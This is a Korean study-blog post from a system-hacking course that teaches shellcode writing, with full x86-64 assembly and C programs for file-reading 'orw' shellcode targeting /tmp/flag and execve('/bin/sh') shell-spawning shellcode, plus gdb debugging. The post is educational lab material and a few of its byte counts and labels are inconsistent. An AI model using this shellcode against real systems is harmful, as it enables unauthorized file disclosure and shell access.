혜랑's STORY

[System Hacking STAGE 2] Exploit Tech: Shellcode 본문

무지성 공부방/Dreamhack SystemHacking

[System Hacking STAGE 2] Exploit Tech: Shellcode

hyerang0125 2022. 1. 21. 14:33
시작하며

 해킹 분야에서 상대 시스템을 공격하는 것을 익스플로잇(Exploit)이라고 부른다. 시스템해킹의 익스플로잇과 관련된 여러가지 공격 기법 중 첫 번째 공격기법으로 셸코드를 알아볼 것이다.

셸코드(shellcode)

 셸코드는 익스플로잇을 위해 제작된 어셈블리 코드 조각을 말한다. 일반적으로 셸을 획득하기 위한 목적으로 사용해 셸코드라고 부른다. 

 만약 해커가 rop를 자신이 작성한 셸코드로 옮길 수 있으면 해커는 원하는 어셈블리 코드가 실행되게 할 수 있다. 어셈블리어는 기계어와 거의 일대일 대응되므로 사실상 원하는 모든 명령을 CPU에 내릴 수 있게 되는 것이다. 셸코드의 목적에 따라 모두 다르게 작성되나 아키텍처별로 자주 사용되는 셸코드를 모아서 공유하는 사이트도 있다. 

orw 셸코드

orw 셸코드 작성

 orw 셸코드는 파일을 열고, 읽은 뒤 화면에 출력해주는 셸코드이다. 예시로 "/tmp/flag"를 읽는 셸코드를 작성해보자. 구현하려는 셸코드의 동작을 C언어 형식의 의사코드로 표현하면 다음과 같다.

char buf[0x30];

int fd = open("/tmp/flag", RD_ONLY, NULL);
read(fd, buf, 0x30); 
write(1, buf, 0x30);

orw 셸코드를 작성하기 위해 알아야 하는 syscall은 아래와 같다.

의사코드의 각 줄을 어셈블리로 구현해보자.

1. int fd = open("/tmp/flag", O_RDONLY, NULL)

 첫 번째로 할 일은 "/tmp/flag"라는 문자열을 메모리에 위치시킨는 것이다. 이를 위해 스택에 "/tmp/flag"를 push 한다. 그리고 rdi가 이를 가리키도록 rsp를 rsi로 옮긴다.

 O_RDONLY는 0이므로 rsi는 0으로 설정한다. 파일을 읽을 때 mode는 의미를 갖지 않으므로 rdx는 0으로 설정한다. 마지막으로 rax를 open의 syscall 값인 2로 설정한다. 이를 구현하면 아래의 코드가 된다.

push 0x67
mov rax, 0x616c662f706d742f ; "/tmp/flag"
push rax
mov rdi, rsp    ; rdi = "/tmp/flag"
xor rsi, rsi    ; rsi = 0 ; RD_ONLY
xor rdx, rdx    ; rdx = 0
mov rax, 2      ; rax = 2 ; syscall_open
syscall         ; open("/tmp/flag", RD_ONLY, NULL)

2. read(fd, buf, 0x30)

 syscall의 반환 값은 rax로 저장된다. 따라서 open으로 획득한 /tmp/flag의 fd는 rax에 저장되게 된다. read의 첫 번째 인자를 이 값으로 설정해야하므로 rax를 rdi에 대입한다. 

 rsi는 파일에서 읽은 데이터를 저장할 주소를 가리킨다. 0x30만큼 읽은 것이므로, rsi에 rsp-0x30을 대입한다. rdx는 파일로부터 읽어낼 데이터의 길이인 0x30으로 설정한다. read 시스템콜을 호출하기 위해서 rax를 0으로 설정한다. 이를 어셈블리어로 구현하면 아래의 코드가 된다.

mov rdi, rax      ; rdi = fd
mov rsi, rsp
sub rsi, 0x30     ; rsi = rsp-0x30 ; buf
mov rdx, 0x30     ; rdx = 0x30     ; len
mov rax, 0x0      ; rax = 0        ; syscall_read
syscall           ; read(fd, buf, 0x30)

3. write(1, buf, 0x20)

 출력은 stdout으로 할 것이므로 rdi를 0x1로 설정한다. rsdi와 rdx는 read에서 사용한 값을 그대로 사용할 것이다. write 시스템콜을 호출하기 위해서 rax를 1로 설정한다. 코드는 아래와 같다.

mov rdi, 1        ; rdi = 1 ; fd = stdout
mov rax, 0x1      ; rax = 1 ; syscall_write
syscall           ; write(fd, buf, 0x30)

위 코드들을 모두 종합하면 다음과 같다.

;Name: orw.S
push 0x67
mov rax, 0x616c662f706d742f 
push rax
mov rdi, rsp    ; rdi = "/tmp/flag"
xor rsi, rsi    ; rsi = 0 ; RD_ONLY
xor rdx, rdx    ; rdx = 0
mov rax, 2      ; rax = 2 ; syscall_open
syscall         ; open("/tmp/flag", RD_ONLY, NULL)
mov rdi, rax      ; rdi = fd
mov rsi, rsp
sub rsi, 0x30     ; rsi = rsp-0x30 ; buf
mov rdx, 0x30     ; rdx = 0x30     ; len
mov rax, 0x0      ; rax = 0        ; syscall_read
syscall           ; read(fd, buf, 0x30)
mov rdi, 1        ; rdi = 1 ; fd = stdout
mov rax, 0x1      ; rax = 1 ; syscall_write
syscall           ; write(fd, buf, 0x30)

 

orw 셸코드 컴파일 및 실행

 작성한 셸코드 orw.S는 아스키로 작성된 어셈블리 코드이므로, 기계어로 치환하면 CPU가 이해할 수는 있으나 ELF(Executable and Linkable Format) 형식이 아니므로 리눅스에서 실행될 수 없다. gcc 컴파일을 통해 이를 ELF 형식으로 변형해보자.

// File name: orw.c
// Compile: gcc -o orw orw.c -masm=intel

__asm__(
    ".global run_sh\n"
    "run_sh:\n"
    "push 0x67\n"
    "mov rax, 0x616c662f706d742f \n"
    "push rax\n"
    "mov rdi, rsp    # rdi = '/tmp/flag'\n"
    "xor rsi, rsi    # rsi = 0 ; RD_ONLY\n"
    "xor rdx, rdx    # rdx = 0\n"
    "mov rax, 2      # rax = 2 ; syscall_open\n"
    "syscall         # open('/tmp/flag', RD_ONLY, NULL)\n"
    "\n"
    "mov rdi, rax      # rdi = fd\n"
    "mov rsi, rsp\n"
    "sub rsi, 0x30     # rsi = rsp-0x30 ; buf\n"
    "mov rdx, 0x30     # rdx = 0x30     ; len\n"
    "mov rax, 0x0      # rax = 0        ; syscall_read\n"
    "syscall           # read(fd, buf, 0x30)\n"
    "\n"
    "mov rdi, 1        # rdi = 1 ; fd = stdout\n"
    "mov rax, 0x1      # rax = 1 ; syscall_write\n"
    "syscall           # write(fd, buf, 0x30)\n"
    "\n"
    "xor rdi, rdi      # rdi = 0\n"
    "mov rax, 0x3c	   # rax = sys_exit\n"
    "syscall		   # exit(0)");
    
void run_sh();
int main() { run_sh(); }

실행

셸코드가 실제로 작동함을 확인하기 위해 /tmp/flag 파일을 생성했다.

orw.c를 컴파일하고, 실행해보자.

 셸코드가 성공적으로 실행되어 저장한 문자열이 출력되는 것을 확인할 수 있다. 만약 공격의 대상이 되는 시스템에서 이 셸코드를 실행할 수 있다면, 상대 서버의 자료를 유출해낼 수 있다.

orw 셸코드 디버깅

앞서 배운 gdb를 통해 작성한 셸코드의 동작을 자세히 분석해보자.

orw를 gdb로 열고, run_sh() 함수에 브레이크 포인트를 설정한다.

 run 명령어로 run_sh() 함수의 시작부분까지 코드를 실행시킨다. 그러면 작성한 셸코드에 rip가 위치한 것을 확인할 수 있다.

 앞서 구현한 각 시스템 콜들이 제대로 구현되었나 확인해보자.

1. int fd = open("/tmp/flag", O_RDONLY, NULL)

첫 번째 syscall 전까지 실행하고, syscall에 들어가는 인자를 확인해보자.

 pwndbg 플러그인은 syscall을 호출할 때, 인자를 분석해준다. 셸코드를 작성할 때 계획했듯 open("/tmp/flag", O_RDONLY, NULL)가 실행됨을 확인할 수 있다.

2. read(fd, buf, 0x30)

마찬가지로 두번째 syscall 직전까지 실행하고 인자를 살펴보자.

앞서 할당한 /tmp/flag에서 데이터를 0x30바이트만큼 읽어서 0x7fffffffde48에 저장한다.

3. write(1, buf, 0x20)

마지막으로 읽어낸 데이터를 출력하는 write 시스템콜을 실행한다.

데이터를 저장한 0x7fffffffde48에서 48바이트를 출력한다. 이번에도 알 수 없는 문자열이 같이 출력되었다. 이는 초기화되지 않은 메모리 영역 사용에 의한 것이다.

execve 셸코드

 셸(shell)이란 운영체제에 명령을 내리기 위해 사용되는 사용자의 인터페이스로 운영체제의 핵심 기능을 하는 프로그램을 커널(kernel)이라고 하는 것과 대비된다. 셸을 획득하면 시스템을 제어할 수 있게 되므로 통상적으로 셸 획득을 시스템 해킹의 성공으로 여긴다.

 execve 셸코드는 임의의 프로그램을 실행하는 셸코드인데 이를 이용하면 서버의 셸을 획득할 수 있다. 실습 환경인 Ubuntu 18.04에도 /bin/sh가 존재하므로, 이를 실행하는 execve 셸코드를 작성해보자.

execve("/bin/sh", null, null)

execve 셸코드는 execve 시스템 콜만으로 구성된다.

 여기서 argv는 실행파일에 넘겨줄 인자, envp는 환경변수이다. sh만 실행하면 되므로 다른 값들은 전부 null로 설정해도 무관하다. 작성한 orw 셸코드는 다음과 같다.

// File name: execve.c
// Compile Option: gcc -o execve execve.c -masm=intel

__asm__(
    ".global run_sh\n"
    "run_sh:\n"
    
    "mov rax, 0x68732f6e69622f\n"
    "push rax\n"
    "mov rdi, rsp  # rdi = '/bin/sh'\n"
    "xor rsi, rsi  # rsi = NULL\n"
    "xor rdx, rdx  # rdx = NULL\n"
    "mov rax, 0x3b # rax = sys_execve\n"
    "syscall       # execve('/bin/sh', null, null)\n"
    "xor rdi, rdi   # rdi = 0\n"
    "mov rax, 0x3c	# rax = sys_exit\n"
    "syscall        # exit(0)");
    
void run_sh();

int main() { run_sh(); }

실행 결과이다.